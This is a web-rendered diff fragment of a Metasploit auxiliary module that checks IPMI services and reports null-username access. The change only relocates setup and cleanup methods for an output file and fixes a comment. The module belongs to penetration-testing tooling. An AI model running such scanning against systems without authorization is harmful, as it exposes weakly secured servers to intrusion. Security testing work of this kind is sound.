# Report a vulnerability if info.ipmi_user_null has been set (null username)
|
# Report a vulnerability if info.ipmi_user_null has been set (null username)
|
||||||
@ -183,9 +234,22 @@ class Metasploit3 < Msf::Auxiliary
|
|||||||
info
|
info
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def setup
|
||||||
|
super
|
||||||
|
@output = nil
|
||||||
|
if datastore['OUTPUT_FILE']
|
||||||
|
@output = ::File.open(datastore['OUTPUT_FILE'], "ab")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def cleanup
|
||||||
|
super
|
||||||
|
@output.close if @output
|
||||||
|
@output = nil
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Helper methods (this didn't quite fit with existing mixins)
|
# Helper methods (these didn't quite fit with existing mixins)
|
||||||
#
|
#
|
||||||
|
|
||||||
attr_accessor :udp_sock
|
attr_accessor :udp_sock
|
||||||
@ -204,20 +268,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||||||
r[1] ? r : nil
|
r[1] ? r : nil
|
||||||
end
|
end
|
||||||
|
|
||||||
def setup
|
|
||||||
super
|
|
||||||
@output = nil
|
|
||||||
if datastore['OUTPUT_FILE']
|
|
||||||
@output = ::File.open(datastore['OUTPUT_FILE'], "ab")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def cleanup
|
|
||||||
super
|
|
||||||
@output.close if @output
|
|
||||||
@output = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
def rhost
|
def rhost
|
||||||
datastore['RHOST']
|
datastore['RHOST']
|
||||||
end
|
end
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user